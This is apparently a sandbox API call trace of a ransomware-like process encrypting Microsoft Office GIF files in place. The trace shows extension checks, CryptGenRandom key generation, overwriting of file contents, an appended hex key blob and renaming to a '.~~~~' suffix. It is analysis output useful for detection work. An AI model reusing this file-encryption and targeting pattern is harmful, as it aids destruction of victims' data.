	[0142.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.542] lstrlenW (lpString=".sqb") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".sqb") returned 0x0
	[0142.542] lstrlenW (lpString=".ost") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".ost") returned 0x0
	[0142.542] lstrlenW (lpString=".txt") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".txt") returned 0x0
	[0142.542] lstrlenW (lpString=".mdt") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".mdt") returned 0x0
	[0142.542] lstrlenW (lpString=".BDB") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".BDB") returned 0x0
	[0142.542] lstrlenW (lpString=".eql") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".eql") returned 0x0
	[0142.542] lstrlenW (lpString=".DBF") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DBF") returned 0x0
	[0142.542] lstrlenW (lpString=".EQL") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".EQL") returned 0x0
	[0142.542] lstrlenW (lpString=".FDB") returned 4
	[0142.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".FDB") returned 0x0
	[0142.543] lstrlenW (lpString=".EDB") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".EDB") returned 0x0
	[0142.543] lstrlenW (lpString=".DACPAC") returned 7
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.543] lstrlenW (lpString=".VHD") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".VHD") returned 0x0
	[0142.543] lstrlenW (lpString=".DBV") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DBV") returned 0x0
	[0142.543] lstrlenW (lpString=".dacpac") returned 7
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.543] lstrlenW (lpString=".sdf") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".sdf") returned 0x0
	[0142.543] lstrlenW (lpString=".accdb") returned 6
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".accdb") returned 0x0
	[0142.543] lstrlenW (lpString=".DBX") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DBX") returned 0x0
	[0142.543] lstrlenW (lpString=".MDT") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".MDT") returned 0x0
	[0142.543] lstrlenW (lpString=".SQB") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".SQB") returned 0x0
	[0142.543] lstrlenW (lpString=".vhd") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".vhd") returned 0x0
	[0142.543] lstrlenW (lpString=".bac") returned 4
	[0142.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".bac") returned 0x0
	[0142.544] lstrlenW (lpString=".mdf") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".mdf") returned 0x0
	[0142.544] lstrlenW (lpString=".BAK") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".BAK") returned 0x0
	[0142.544] lstrlenW (lpString=".BAC") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".BAC") returned 0x0
	[0142.544] lstrlenW (lpString=".dbs") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dbs") returned 0x0
	[0142.544] lstrlenW (lpString=".vhdx") returned 5
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.544] lstrlenW (lpString=".NDF") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".NDF") returned 0x0
	[0142.544] lstrlenW (lpString=".dat") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dat") returned 0x0
	[0142.544] lstrlenW (lpString=".DBS") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DBS") returned 0x0
	[0142.544] lstrlenW (lpString=".CKP") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".CKP") returned 0x0
	[0142.544] lstrlenW (lpString=".edb") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".edb") returned 0x0
	[0142.544] lstrlenW (lpString=".PST") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".PST") returned 0x0
	[0142.544] lstrlenW (lpString=".dbf") returned 4
	[0142.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dbf") returned 0x0
	[0142.544] lstrlenW (lpString=".SQL") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".SQL") returned 0x0
	[0142.545] lstrlenW (lpString=".pst") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".pst") returned 0x0
	[0142.545] lstrlenW (lpString=".dbv") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dbv") returned 0x0
	[0142.545] lstrlenW (lpString=".SDF") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".SDF") returned 0x0
	[0142.545] lstrlenW (lpString=".dtxs") returned 5
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.545] lstrlenW (lpString=".db3") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".db3") returned 0x0
	[0142.545] lstrlenW (lpString=".OST") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".OST") returned 0x0
	[0142.545] lstrlenW (lpString=".dbx") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dbx") returned 0x0
	[0142.545] lstrlenW (lpString=".DB3") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DB3") returned 0x0
	[0142.545] lstrlenW (lpString=".DAT") returned 4
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DAT") returned 0x0
	[0142.545] lstrlenW (lpString=".VHDX") returned 5
	[0142.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.545] lstrlenW (lpString=".ndf") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".ndf") returned 0x0
	[0142.546] lstrlenW (lpString=".DB") returned 3
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DB") returned 0x0
	[0142.546] lstrlenW (lpString=".sql") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".sql") returned 0x0
	[0142.546] lstrlenW (lpString=".MYD") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".MYD") returned 0x0
	[0142.546] lstrlenW (lpString=".DBT") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DBT") returned 0x0
	[0142.546] lstrlenW (lpString=".ACCDB") returned 6
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.546] lstrlenW (lpString=".fdb") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".fdb") returned 0x0
	[0142.546] lstrlenW (lpString=".bak") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".bak") returned 0x0
	[0142.546] lstrlenW (lpString=".myd") returned 4
	[0142.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".myd") returned 0x0
	[0142.546] lstrlenW (lpString=".DTXS") returned 5
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.547] lstrlenW (lpString=".ckp") returned 4
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".ckp") returned 0x0
	[0142.547] lstrlenW (lpString=".dbt") returned 4
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dbt") returned 0x0
	[0142.547] lstrlenW (lpString=".db") returned 3
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".db") returned 0x0
	[0142.547] lstrlenW (lpString=".TXT") returned 4
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".TXT") returned 0x0
	[0142.547] lstrlenW (lpString=".MDF") returned 4
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".MDF") returned 0x0
	[0142.547] lstrlenW (lpString=".bdb") returned 4
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".bdb") returned 0x0
	[0142.547] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.547] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.548] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.549] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26253891116) returned 1
	[0142.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe5fafb0, dwHighDateTime=0x1d60e1e)) 
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa18
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9de0
	[0142.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9de0 | out: hHeap=0x300000) returned 1
	[0142.550] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.550] GetLastError () returned 0x0
	[0142.550] GetLastError () returned 0x0
	[0142.550] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.550] GetLastError () returned 0x0
	[0142.551] GetLastError () returned 0x0
	[0142.551] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x3f61, lpOverlapped=0x0) returned 1
	[0142.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffc09f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.653] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3f61, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3f61, lpOverlapped=0x0) returned 1
	[0142.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.653] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.653] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.653] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.653] CloseHandle (hObject=0x114) returned 1
	[0142.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa080
	[0142.654] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif.~~~~")) returned 1
	[0142.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa080 | out: hHeap=0x300000) returned 1
	[0142.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.656] GetLastError () returned 0x0
	[0142.656] RtlWakeConditionVariable () returned 0x0
	[0142.657] GetCurrentThreadId () returned 0xaf0
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".scr") returned 0x0
	[0142.657] lstrlenW (lpString=".cmd") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".cmd") returned 0x0
	[0142.657] lstrlenW (lpString=".dll") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dll") returned 0x0
	[0142.657] lstrlenW (lpString=".bat") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".bat") returned 0x0
	[0142.657] lstrlenW (lpString=".cpl") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".cpl") returned 0x0
	[0142.657] lstrlenW (lpString=".sys") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".sys") returned 0x0
	[0142.657] lstrlenW (lpString=".msc") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".msc") returned 0x0
	[0142.657] lstrlenW (lpString=".com") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".com") returned 0x0
	[0142.657] lstrlenW (lpString=".lnk") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".lnk") returned 0x0
	[0142.657] lstrlenW (lpString=".msp") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".msp") returned 0x0
	[0142.657] lstrlenW (lpString=".pif") returned 4
	[0142.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".pif") returned 0x0
	[0142.658] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.660] lstrlenW (lpString=".sqb") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".sqb") returned 0x0
	[0142.660] lstrlenW (lpString=".ost") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".ost") returned 0x0
	[0142.660] lstrlenW (lpString=".txt") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".txt") returned 0x0
	[0142.660] lstrlenW (lpString=".mdt") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".mdt") returned 0x0
	[0142.660] lstrlenW (lpString=".BDB") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".BDB") returned 0x0
	[0142.660] lstrlenW (lpString=".eql") returned 4
	[0142.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".eql") returned 0x0
	[0142.660] lstrlenW (lpString=".DBF") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DBF") returned 0x0
	[0142.661] lstrlenW (lpString=".EQL") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".EQL") returned 0x0
	[0142.661] lstrlenW (lpString=".FDB") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".FDB") returned 0x0
	[0142.661] lstrlenW (lpString=".EDB") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".EDB") returned 0x0
	[0142.661] lstrlenW (lpString=".DACPAC") returned 7
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.661] lstrlenW (lpString=".VHD") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".VHD") returned 0x0
	[0142.661] lstrlenW (lpString=".DBV") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DBV") returned 0x0
	[0142.661] lstrlenW (lpString=".dacpac") returned 7
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.661] lstrlenW (lpString=".sdf") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".sdf") returned 0x0
	[0142.661] lstrlenW (lpString=".accdb") returned 6
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".accdb") returned 0x0
	[0142.661] lstrlenW (lpString=".DBX") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DBX") returned 0x0
